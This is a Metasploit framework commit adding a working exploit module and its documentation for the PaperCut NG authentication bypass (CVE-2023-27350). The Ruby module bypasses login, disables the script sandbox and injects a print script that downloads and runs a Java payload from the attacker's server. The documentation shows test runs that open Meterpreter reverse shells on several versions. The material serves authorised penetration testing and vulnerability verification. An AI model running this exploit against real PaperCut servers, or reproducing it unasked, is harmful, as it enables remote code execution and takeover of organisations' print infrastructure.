Land #17936, PaperCutNG Authentication Bypass with RCE

This commit is contained in:
Christophe De La Fuente
2023-06-07 15:05:51 +02:00
2 changed files with 484 additions and 0 deletions
@@ -0,0 +1,230 @@
## Vulnerable Application
### Description
PaperCut NG Authentication Bypass affecting the below versions, see
[confirmation](https://www.papercut.com/kb/Main/PO-1216-and-PO-1219#product-status-and-next-steps):
- version 8.0.0 to 19.2.7 (inclusive)
- version 20.0.0 to 20.1.6 (inclusive)
- version 21.0.0 to 21.2.10 (inclusive)
- version 22.0.0 to 22.0.8 (inclusive)
See module `info` for additional references.
### Building a Vulnerable Container
Papercut NG can be run in a container. This is useful for creating test environments for verification. To acquire past versions of the
software, i.e. known vulnerable versions, see [Download past/old PaperCut NG Versions](https://www.papercut.com/kb/Main/PastVersions).
Versions 16 and later include a "--non-interactive" switch, easing installation. Below I use podman on Centos 9 Stream to containerize the
application for testing.
From an empty directory, create a Dockerfile containing the following:
```dockerfile
FROM almalinux
RUN yum install -y procps-ng net-tools cpio sudo perl which
RUN yum install -y initscripts
RUN useradd -ms /bin/bash papercut
RUN usermod -a -G wheel papercut
RUN echo "papercut ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
COPY pcng-setup-*.sh /
USER papercut
WORKDIR /home/papercut
```
Download a vulnerable version. Build a container. Run the container while performing the installation.
```sh
curl -OJ "https://cdn.papercut.com/files/pcng/16.x/pcng-setup-16.4.39159-linux-x64.sh"
podman build . --tag papercut-16.4.39159
podman run -it --rm -p 9191:9191 localhost/papercut-16.4.39159 /bin/bash -c "sh /*.sh --non-interactive; read"
```
Note: *Be sure to cross reference the target version with the known vulnerable versions, as some of the links in the listed Past Versions
are patched.*
A URL will be provided in the console to access the application, but you will likely need to use an IP accessible from your metasploit
host, e.g. [127.0.0.1](http://127.0.0.1:9191/admin) in order to complete the application setup. After setup, you may commit changes to the
container & tag the new image to maintain your configuration changes. In the future the service can be restarted using
`/etc/init.d/papercut start` from within the container.
*Caveat: When first starting the server or after completing the installation, at least one user needs to login. I think this has something
to do with getting the license manager into the correct state (i.e. loading the license). When this is not yet done then the Authentication
Bypass is still functional leading to a "Target Vulnerable" message during `check`. However, when attempting to select the
"\[Template Printer\]" a redirect to the About page occurs instead. Ensuring a logon can be done by using the "Login" button presented on
the SetupCompleted page used for the bypass. This scenario is not covered in the module as it is unlikely to be an issue on any network
that is currently in use.*
## Options
### TARGETURI
Path to the papercut application. Default is `/app`.
### HTTPDELAY
Number of seconds the web server will wait before termination. Default is 10.
## Verification Steps
1. `./msfconsole -q`
2. `use multi/http/papercut_ng_auth_bypass`
3. `set RHOSTS [target]`
4. `run`
## Scenarios
### Tested on Linux x64 with PaperCut NG Version 22.0.8.65201
```
msf6 > use exploit/multi/http/papercut_ng_auth_bypass
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/http/papercut_ng_auth_bypass) > set VERBOSE true
VERBOSE => true
msf6 exploit(multi/http/papercut_ng_auth_bypass) > set RHOSTS 10.0.4.101
RHOSTS => 10.0.4.101
msf6 exploit(multi/http/papercut_ng_auth_bypass) > set LHOST 10.0.4.101
LHOST => 10.0.4.101
msf6 exploit(multi/http/papercut_ng_auth_bypass) > run
[-] Handler failed to bind to 10.0.4.101:4444:- -
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Bypass successful and created session: JSESSIONID=node0cwd0h7aut351pzjcifwvdyg25.node0
[+] The target is vulnerable.
[*] Setting server option 'print-and-device.script.enabled' to 'Y') was 'N'
[*] Setting server option 'print.script.sandboxed' to 'N') was 'Y'
[*] Using URL: http://10.0.4.101:8080/rYrjrI0
[*] Server started.
[*] Sending payload for requested uri: /rYrjrI0.jar
[*] Sending payload for requested uri: /rYrjrI0.jar
[*] Sending stage (58851 bytes) to 10.0.2.100
[*] Meterpreter session 1 opened (10.0.2.100:4444 -> 10.0.2.100:46224) at 2023-05-11 01:13:29 +0000
[*] Server stopped.
[*] rolling back 'print.script.sandboxed' to 'Y'
[*] Setting server option 'print.script.sandboxed' to 'Y') was 'N'
[*] rolling back 'print-and-device.script.enabled' to 'N'
[*] Setting server option 'print-and-device.script.enabled' to 'N') was 'Y'
meterpreter >
```
Note: Sandboxing is enabled by default in this version, scripting must be enabled and sandboxing must be disabled.
### Tested on Linux x64 with PaperCut NG Version 19.2.7.62200
```
msf6 > use exploit/multi/http/papercut_ng_auth_bypass
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/http/papercut_ng_auth_bypass) > set VERBOSE true
VERBOSE => true
msf6 exploit(multi/http/papercut_ng_auth_bypass) > set RHOSTS 10.0.4.101
RHOSTS => 10.0.4.101
msf6 exploit(multi/http/papercut_ng_auth_bypass) > set LHOST 10.0.4.101
LHOST => 10.0.4.101
msf6 exploit(multi/http/papercut_ng_auth_bypass) > run
[-] Handler failed to bind to 10.0.4.101:4444:- -
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Bypass successful and created session: JSESSIONID=node01j4of6hup0i131vs585edo0uqb2.node0
[+] The target is vulnerable.
[*] Setting server option 'print-and-device.script.enabled' to 'Y') was 'N'
[*] Setting server option 'print.script.sandboxed' to 'N') was 'Y'
[*] Using URL: http://10.0.4.101:8080/PWMM7S32xpRY7
[*] Server started.
[*] Sending payload for requested uri: /PWMM7S32xpRY7.jar
[*] Sending payload for requested uri: /PWMM7S32xpRY7.jar
[*] Sending stage (58851 bytes) to 10.0.2.100
[*] Meterpreter session 1 opened (10.0.2.100:4444 -> 10.0.2.100:35072) at 2023-05-11 01:25:25 +0000
[*] Server stopped.
[*] Rolling back 'print.script.sandboxed' to 'Y'
[*] Setting server option 'print.script.sandboxed' to 'Y') was 'N'
[*] Rolling back 'print-and-device.script.enabled' to 'N'
[*] Setting server option 'print-and-device.script.enabled' to 'N') was 'Y'
meterpreter >
```
Note: Sandboxing is enabled by default in this version, scripting must be enabled and sandboxing must be disabled.
### Tested on Linux x64 with PaperCut NG Version 18.3.9.49588d
```
msf6 > use exploit/multi/http/papercut_ng_auth_bypass
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/http/papercut_ng_auth_bypass) > set VERBOSE true
VERBOSE => true
msf6 exploit(multi/http/papercut_ng_auth_bypass) > set RHOSTS 10.0.4.101
RHOSTS => 10.0.4.101
msf6 exploit(multi/http/papercut_ng_auth_bypass) > set LHOST 10.0.4.101
LHOST => 10.0.4.101
msf6 exploit(multi/http/papercut_ng_auth_bypass) > run
[-] Handler failed to bind to 10.0.4.101:4444:- -
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Bypass successful and created session: JSESSIONID=node0re9f1cbww5v11qgrc7y4g9qv3.node0
[+] The target is vulnerable.
[*] Using URL: http://10.0.4.101:8080/o30YxAzAA69ISJ8
[*] Server started.
[*] Sending payload for requested uri: /o30YxAzAA69ISJ8.jar
[*] Sending stage (58851 bytes) to 10.0.2.100
[*] Meterpreter session 1 opened (10.0.2.100:4444 -> 10.0.2.100:40328) at 2023-05-11 02:29:15 +0000
[*] Server stopped.
meterpreter >
```
### Tested on Linux x64 with PaperCut NG Version 16.4.39159
```
msf6 > use exploit/multi/http/papercut_ng_auth_bypass
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/http/papercut_ng_auth_bypass) > set VERBOSE true
VERBOSE => true
msf6 exploit(multi/http/papercut_ng_auth_bypass) > set RHOSTS 10.0.4.101
RHOSTS => 10.0.4.101
msf6 exploit(multi/http/papercut_ng_auth_bypass) > set LHOST 10.0.4.101
LHOST => 10.0.4.101
msf6 exploit(multi/http/papercut_ng_auth_bypass) > run
[-] Handler failed to bind to 10.0.4.101:4444:- -
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Bypass successful and created session: JSESSIONID=e79i55m6n77ex4p6ee3fu8u9
[+] The target is vulnerable.
[*] Using URL: http://10.0.4.101:8080/GuHN8K
[*] Server started.
[*] Sending payload for requested uri: /GuHN8K.jar
[*] Sending stage (58851 bytes) to 10.0.2.100
[*] Meterpreter session 1 opened (10.0.2.100:4444 -> 10.0.2.100:58324) at 2023-05-11 03:22:13 +0000
[*] Server stopped.
meterpreter >
```
Note: The 'Form0' parameter for version 16 and lower does not take an additional '$Submit$1' value.
### Tested on Linux x64 with PaperCut NG Version 14.3.30457
```
msf6 > use exploit/multi/http/papercut_ng_auth_bypass
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/http/papercut_ng_auth_bypass) > set VERBOSE true
VERBOSE => true
msf6 exploit(multi/http/papercut_ng_auth_bypass) > set RHOSTS 10.0.4.101
RHOSTS => 10.0.4.101
msf6 exploit(multi/http/papercut_ng_auth_bypass) > set LHOST 10.0.4.101
LHOST => 10.0.4.101
msf6 exploit(multi/http/papercut_ng_auth_bypass) > run
[-] Handler failed to bind to 10.0.4.101:4444:- -
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Bypass successful and created session: JSESSIONID=b9g3gepapev0
[+] The target is vulnerable.
[*] Using URL: http://10.0.4.101:8080/kBXJNp
[*] Server started.
[*] Sending payload for requested uri: /kBXJNp.jar
[*] Sending stage (58851 bytes) to 10.0.2.100
[*] Meterpreter session 1 opened (10.0.2.100:4444 -> 10.0.2.100:32852) at 2023-05-11 03:56:24 +0000
[*] Server stopped.
meterpreter >
```
Note: Version 14, and possibly earlier, use a different HTML element to report the active version when exercising the vulnerable
'SetupCompleted' page.
@@ -0,0 +1,254 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'cgi'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(
update_info(
info,
'Name' => 'PaperCut PaperCutNG Authentication Bypass',
'Description' => %q{
This module leverages an authentication bypass in PaperCut NG. If necessary it
updates Papercut configuration options, specifically the 'print-and-device.script.enabled'
and 'print.script.sandboxed' options to allow for arbitrary code execution running in
the builtin RhinoJS engine.
This module logs at most 2 events in the application log of papercut. Each event is tied
to modifcation of server settings.
},
'License' => MSF_LICENSE,
'Author' => ['catatonicprime'],
'References' => [
['CVE', '2023-27350'],
['ZDI', '23-233'],
['URL', 'https://www.papercut.com/kb/Main/PO-1216-and-PO-1219'],
['URL', 'https://www.horizon3.ai/papercut-cve-2023-27350-deep-dive-and-indicators-of-compromise/'],
['URL', 'https://www.bleepingcomputer.com/news/security/hackers-actively-exploit-critical-rce-bug-in-papercut-servers/'],
['URL', 'https://www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software']
],
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' => [ [ 'Automatic Target', {}] ],
'Platform' => [ 'java' ],
'Arch' => ARCH_JAVA,
'Privileged' => true,
'DisclosureDate' => '2023-03-13',
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => '9191',
'SSL' => 'false'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'Path to the papercut application', '/app']),
OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10])
], self.class
)
@csrf_token = nil
@config_cleanup = []
end
def bypass_auth
# Attempt to generate a session & recover the anti-csrf token for future requests.
res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'keep_cookies' => true,
'vars_get' => {
'service' => 'page/SetupCompleted'
}
}
)
return nil unless res && res.code == 200
vprint_good("Bypass successful and created session: #{cookie_jar.cookies[0]}")
# Parse the application version from the response for future decisions.
product_details = res.get_html_document.xpath('//div[contains(@class, "product-details")]//span').children[1]
if product_details.nil?
product_details = res.get_html_document.xpath('//span[contains(@class, "version")]')
end
version_match = product_details.text.match('(?<major>[0-9]+)\.(?<minor>[0-9]+)')
@version_major = Integer(version_match[:major])
match = res.get_html_document.xpath('//script[contains(text(),"csrfToken")]').text.match(/var csrfToken ?= ?'(?<csrf>[^']*)'/)
@csrf_token = match ? match[:csrf] : ''
end
def get_config_option(name)
# 1) do a quickfind (setting the tapestry state)
res = send_request_cgi(
{
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'keep_cookies' => true,
'headers' => {
'Origin' => full_uri
},
'vars_post' => {
'service' => 'direct/1/ConfigEditor/quickFindForm',
'sp' => 'S0',
'Form0' => '$TextField,doQuickFind,clear',
'$TextField' => name,
'doQuickFind' => 'Go'
}
}
)
# 2) parse and return the result
return nil unless res && res.code == 200 && (html = res.get_html_document)
return nil unless (td = html.xpath("//td[@class='propertyNameColumnValue']"))
return nil unless td.count == 1 && td.text == name
value_input = html.xpath("//input[@name='$TextField$0']")
value_input[0]['value']
end
def set_config_option(name, value, rollback)
# set name:value pair(s)
current_value = get_config_option(name)
if current_value == value
vprint_good("Server option '#{name}' already set to '#{value}')")
return
end
vprint_status("Setting server option '#{name}' to '#{value}') was '#{current_value}'")
res = send_request_cgi(
{
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'keep_cookies' => true,
'headers' => {
'Origin' => full_uri
},
'vars_post' => {
'service' => 'direct/1/ConfigEditor/$Form',
'sp' => 'S1',
'Form1' => '$TextField$0,$Submit,$Submit$0',
'$TextField$0' => value,
'$Submit' => 'Update'
}
}
)
fail_with Failure::NotVulnerable, "Could not update server config option '#{name}' to value of '#{value}'" unless res && res.code == 200
# skip storing the cleanup change if this is rolling back a previous change
@config_cleanup.push([name, current_value]) unless rollback
end
def cleanup
super
if @config_cleanup.nil?
return
end
until @config_cleanup.empty?
cfg = @config_cleanup.pop
vprint_status("Rolling back '#{cfg[0]}' to '#{cfg[1]}'")
set_config_option(cfg[0], cfg[1], true)
end
end
def primer
payload_uri = get_uri
script = <<~SCRIPT
var urls = [new java.net.URL("#{payload_uri}.jar")];
var cl = new java.net.URLClassLoader(urls).loadClass('metasploit.Payload').newInstance().main([]);
s;
SCRIPT
# The number of parameters passed changed in version 17.
form0 = 'printerId,enablePrintScript,scriptBody,$Submit,$Submit$0'
if @version_major > 16
form0 += ',$Submit$1'
end
# 6) Trigger the code execution the printer_id
res = send_request_cgi(
{
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'keep_cookies' => true,
'headers' => {
'Origin' => full_uri
},
'vars_post' => {
'service' => 'direct/1/PrinterDetails/$PrinterDetailsScript.$Form',
'sp' => 'S0',
'Form0' => form0,
'enablePrintScript' => 'on',
'$Submit$1' => 'Apply',
'printerId' => 'l1001',
'scriptBody' => script
}
}
)
fail_with Failure::NotVulnerable, 'Failed to prime payload.' unless res && res.code == 200
end
def check
# For the check command
bypass_success = bypass_auth
if bypass_success.nil?
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Vulnerable
end
def exploit
# Main function
# 1) Bypass the auth using the SetupCompleted page & store the csrf_token for future requests.
bypass_auth unless @csrf_token
if @csrf_token.nil?
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
# Sandboxing wasn't introduced until version 19
if @version_major >= 19
# 2) Enable scripts, if needed
set_config_option('print-and-device.script.enabled', 'Y', false)
# 3) Disable sandboxing, if needed
set_config_option('print.script.sandboxed', 'N', false)
end
# 5) Select the printer, this loads it into the tapestry session to be modified
res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'keep_cookies' => true,
'headers' => {
'Origin' => full_uri
},
'vars_get' => {
'service' => 'direct/1/PrinterList/selectPrinter',
'sp' => 'l1001'
}
}
)
fail_with Failure::NotVulnerable, 'Unable to select [Template Printer]' unless res && res.code == 200
Timeout.timeout(datastore['HTTPDELAY']) { super }
rescue Timeout::Error
# When the server stop due to our timeout, this is raised
end
def on_request_uri(cli, request)
vprint_status("Sending payload for requested uri: #{request.uri}")
send_response(cli, payload.raw)
end
end